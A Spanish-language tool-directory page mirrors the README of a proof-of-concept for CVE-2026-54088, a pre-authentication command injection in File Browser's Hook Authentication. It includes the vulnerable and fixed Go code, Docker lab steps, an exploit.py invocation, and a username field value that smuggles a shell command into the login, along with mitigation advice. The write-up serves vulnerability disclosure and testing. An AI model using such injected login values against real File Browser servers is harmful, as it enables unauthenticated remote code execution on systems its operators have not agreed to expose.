Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-54088-poc — Exploit de prueba de concepto para CVE-2026-54088, una inyección de comandos del sistema operativo previa a la autenticación en File Browser <=2.63.5. Demuestra la inyección de shell a través de Hook Authentication para lograr la ejecución remota de código. | Kitploit
Herramientas/GitHubGitHub/saku0512/cve-2026-54088-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y EducaciónDesarrollo de Payloads
GitHubsaku0512/cve-2026-54088-poc

CVE-2026-54088-poc

Exploit de prueba de concepto para CVE-2026-54088, una inyección de comandos del sistema operativo previa a la autenticación en File Browser <=2.63.5. Demuestra la inyección de shell a través de Hook Authentication para lograr la ejecución remota de código.

Ver Repositorio
13hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-54088: Inyección de comandos por sustitución de shell en el hook de autenticación (RCE previo a la autenticación)

English version

Resumen

Este repositorio es una prueba de concepto (PoC) para la vulnerabilidad crítica de inyección de comandos del sistema operativo CVE-2026-54088 presente en File Browser versión <= 2.63.5.

Esta vulnerabilidad reside en la funcionalidad Hook Authentication. Si un administrador configura File Browser para autenticar usuarios mediante un comando externo, los campos username y password enviados durante el inicio de sesión se expanden en la cadena de comando configurada mediante os.Expand() sin escape. Un atacante remoto no autenticado puede inyectar sintaxis de shell a través de la solicitud de inicio de sesión y ejecutar comandos arbitrarios antes de que la autenticación tenga éxito.

Descubridor: saku0512 (https://github.com/Saku0512)


Descargo de responsabilidad

Este proyecto tiene fines exclusivamente educativos y de pruebas de seguridad éticas.

El autor no se hace responsable por el mal uso, daños o actividades ilegales derivadas de esta herramienta. El acceso no autorizado a sistemas informáticos es ilegal. Utilice este software únicamente en entornos donde tenga permiso explícito.


Detalles de la vulnerabilidad

  • CVE ID: CVE-2026-54088
  • Advisory: GHSA-m93h-4hw7-5qcm
  • Tipo: Inyección de comandos del sistema operativo (CWE-78)
  • Impacto: Ejecución remota de código previa a la autenticación (RCE)
  • Versiones afectadas: File Browser <= 2.63.5
  • Versión corregida: File Browser 2.63.6
  • Archivo afectado: auth/hook.go
  • Función afectada: HookAuth.RunCommand

Causa raíz

HookAuth.RunCommand() divide el comando de autenticación configurado y expande los marcadores de posición de las credenciales utilizando datos de solicitud controlables por el atacante.

root@kitploit:~
envMapping := func(key string) string {
    switch key {
    case "USERNAME":
        return a.Cred.Username
    case "PASSWORD":
        return a.Cred.Password
    default:
        return os.Getenv(key)
    }
}

for i, arg := range command {
    if i == 0 {
        continue
    }
    command[i] = os.Expand(arg, envMapping)
}

Si el comando hook está configurado como:

root@kitploit:~
sh -c $USERNAME

Cuando un atacante envía un username como:

root@kitploit:~
touch /tmp/fb_hook_auth_pwned; echo hook.action=block

Durante el intento de inicio de sesión, el servidor ejecuta un script de shell controlado por el atacante. No se necesita una cuenta o contraseña válida.

Corrección

Este problema se corrigió en el commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f eliminando el reemplazo de credenciales en la cadena de comando del hook. El comando hook se ejecuta tal como está configurado, y las credenciales solo se pasan como variables de entorno.

root@kitploit:~
command := strings.Split(a.Command, " ")

cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))

El procesamiento vulnerable eliminado era un bucle os.Expand() que reescribía los argumentos del comando con credenciales controladas por el atacante antes de llamar a exec.Command(). Esta corrección también incluye pruebas de regresión que verifican que el comando hook no puede ser modificado por credenciales inyectadas y que USERNAME/PASSWORD siguen disponibles para el hook a través de variables de entorno.


Prueba de concepto (Uso)

1. Configuración del entorno

Inicie el entorno vulnerable de File Browser. El servicio filebrowser-init crea la base de datos y habilita Hook Authentication con un comando vulnerable.

root@kitploit:~
docker compose up -d

El objetivo está disponible en la siguiente URL:

root@kitploit:~
http://localhost:8080

2. Ejecución del exploit

Ejecute el script de exploit desde este directorio.

root@kitploit:~
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"

Este exploit envía una única solicitud de inicio de sesión no autenticada a /api/login. Se espera que la autenticación falle, pero el comando inyectado se ejecuta antes.

3. Verificación mediante GUI

Abra la pantalla de inicio de sesión de File Browser en su navegador.

root@kitploit:~
http://localhost:8080

Ingrese los siguientes valores en el formulario de inicio de sesión y haga clic en el botón de inicio de sesión.

root@kitploit:~
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything

El inicio de sesión falla, pero la ejecución del comando Hook Authentication ocurre antes de que se devuelva el resultado de la autenticación. Con el siguiente comando, confirme que el archivo marcador fue creado en el contenedor mediante la operación GUI.

root@kitploit:~
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned

Si el archivo existe, se confirma que la RCE previa a la autenticación también se produjo desde la operación de inicio de sesión en la GUI.

4. Verificación del PoC mediante CLI

Confirme que el comando se ejecutó dentro del contenedor de File Browser.

root@kitploit:~
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned

Si el archivo existe, se confirma la RCE previa a la autenticación.

5. Limpieza

root@kitploit:~
docker compose down -v

Mitigación

Actualice File Browser a la versión 2.63.6 o superior.

Las credenciales no deben incrustarse en cadenas de comandos shell, sino pasarse únicamente como variables de entorno al comando hook. Para otras rutas de ejecución de comandos, se debe evitar la evaluación del shell o realizar una separación estricta de argumentos y escape.


Referencias

  • File Browser GitHub Repository
  • File Browser v2.63.5 vulnerable implementation
  • Fix commit: remove undocumented hook auth with shell replacement
Descargar herramienta